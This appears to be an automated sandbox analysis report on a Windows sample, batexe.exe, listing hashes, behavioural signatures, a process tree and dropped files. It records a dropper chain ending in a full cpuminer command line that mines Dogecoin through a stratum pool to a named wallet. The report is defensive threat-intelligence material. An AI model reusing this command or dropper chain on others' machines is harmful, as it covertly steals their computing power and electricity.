Analysis

  • max time kernel
    294s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    21/02/2024, 03:10

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8A00.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4188
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:808

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe

          Filesize

          9.6MB

          MD5

          b911962cdced8bb09784e9ef50cc2ade

          SHA1

          b4bef75b4fa21cf3e959caa1e5c67eec63fb53ba

          SHA256

          dffa5f77678ead94051da805d176ec5fd2db0837c84ac849b44000086b5f8e3a

          SHA512

          a2db06f5fefe4edb85403f2e467027e9e7c42672db3e93d6b29ed5b19b0f6a6efc61deeeea07b41f3f3594f5c9cf77d3d7a27af28575a1d5cd32be18e48f11dc

        • C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe

          Filesize

          3.7MB

          MD5

          1159e61025af4499c4aee245391fbaa7

          SHA1

          6941af22b356ba5b630cd97791029006a9ac5fa4

          SHA256

          09acfb4f01e9780934a8a94c5fc693816d92723dbcad062494742a9d0168ce8e

          SHA512

          4413550ea82a8f3ffccb42094a208abfc0c4b033e646e7766ed6610e82eadceec6961af17c5302770a3cfa7185b72e9170a0f21de157628c4f7303cb03c452bf

        • C:\Users\Admin\AppData\Local\Temp\833A.tmp\b2e.exe

          Filesize

          4.8MB

          MD5

          15bedbacfa4eca51d4f266ed8af73745

          SHA1

          e5fce71e9deb0d2615f73a905bf1c0717fbfdcc7

          SHA256

          5182c5eea9112884f9e8c96b583b56928cf0a4cb42e289bda727625b26df58b8

          SHA512

          3460446dcb9085e55bae0d8e5b13d98b57f195f371c9724194238219d92f80052013b5fc5d3c038362abb12970fcdd33f0e4e741f9a377d1d5f1365800663ce7

        • C:\Users\Admin\AppData\Local\Temp\8A00.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          960KB

          MD5

          5f088febb9167d9fa27631de416c40d9

          SHA1

          0e7cfc61e5cd1bb82c846c939d71388e2f9d5086

          SHA256

          869740b99a3d66f9e9decc133d9c3c4a2c14c3e7c62c512248da76f002387fce

          SHA512

          65e4cd0d550b852f50e426e53ff47bf1419a5cc1aaf07010b10b96f392148525950fd11dd3b1e8acda0916d288414629cde845cdc959ed7092e565ccb8ffa920

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          704KB

          MD5

          ce5f200d2d48a057722a957d5acc6426

          SHA1

          e7a8d4c0dc7b561dfa26e3fddaff015716187305

          SHA256

          cb450c8c0a952560f35f4b93f14357fc3856ee0b016eabf8bb4d20e9504d82df

          SHA512

          e7d3b203cc96d08b6d000f6845bbeb5777cd08babadbcb86266193ca68d8183973b3a92f5cf587df1f26bf04a182fa51001b7317c9a9e7ba868d1e26b897ee9b

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          704KB

          MD5

          903e2cfee96d720dd5200a922b637d07

          SHA1

          f6d639d7b6bb586abcb5f97b1b212252ed6c85b2

          SHA256

          443ef0fe0e5e9cff04e267b1bbbbc98b547e5bd38a853eb79d06a43a8e7d17f2

          SHA512

          c9c357be28d1d97bd5255d88bc64255f452867407c3aa4c99b286913286780da1204691a0344514f070b8bad391980a88b165eb1e8e9ee97f77ef02eb85071c2

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.9MB

          MD5

          34fd2bfc8688013e5099184d3c6fbf6b

          SHA1

          fe135468dc181a7dc45b9a9ba13ddb7b69cbc812

          SHA256

          6e67cf407bb4b2d10b745b7a0d22e74e91aff82447fd1ef6fbb6597e4fee06ee

          SHA512

          41c541cc429c64e8f1736236a0b03a9009385430014eaa35ab657fd8a878021cb1c63b84f1d01d829e3d8370cb7b597ee2ff2cd995e93bdf5c128eea080da0ea

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.7MB

          MD5

          6701db559a29f5eead5025db0a8b82d8

          SHA1

          fa0ef2adda732ef8f88c6f07ba1b902228348ac3

          SHA256

          bd40addc3359888bf0fed4eabe6d2ed877d70ee38c17ae24629ff63951188c4d

          SHA512

          fe9fec9c7fd441b9144817e8c6b56c8feaa724139154d7d9d38d939132a5de557191d9f2bc06fb9842dbc32af0dc95849692aba02721a25d5a5f9d1ab4de3c05

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          3.6MB

          MD5

          29361f54209797371b7ce31ba24241e7

          SHA1

          4720e44643890c789fde3c0d8adc13d2adb7db0a

          SHA256

          3a1c70e3ec44f08ace3d3e11b708111bc52b350adc34f14e88f9ff118e44af77

          SHA512

          6f575294311b8804f1e029ebf1af975b3d6308aa3fa08bb0c539bfa6744142d9496eace01e8c1ac7c12b0561c8675222a766e61209dc28a363edde05b6ed0e61

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/808-47-0x0000000001040000-0x00000000028F5000-memory.dmp

          Filesize

          24.7MB

        • memory/808-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/808-45-0x0000000071160000-0x00000000711F8000-memory.dmp

          Filesize

          608KB

        • memory/808-46-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/808-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-62-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/808-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/808-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2284-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/2284-58-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/2452-8-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB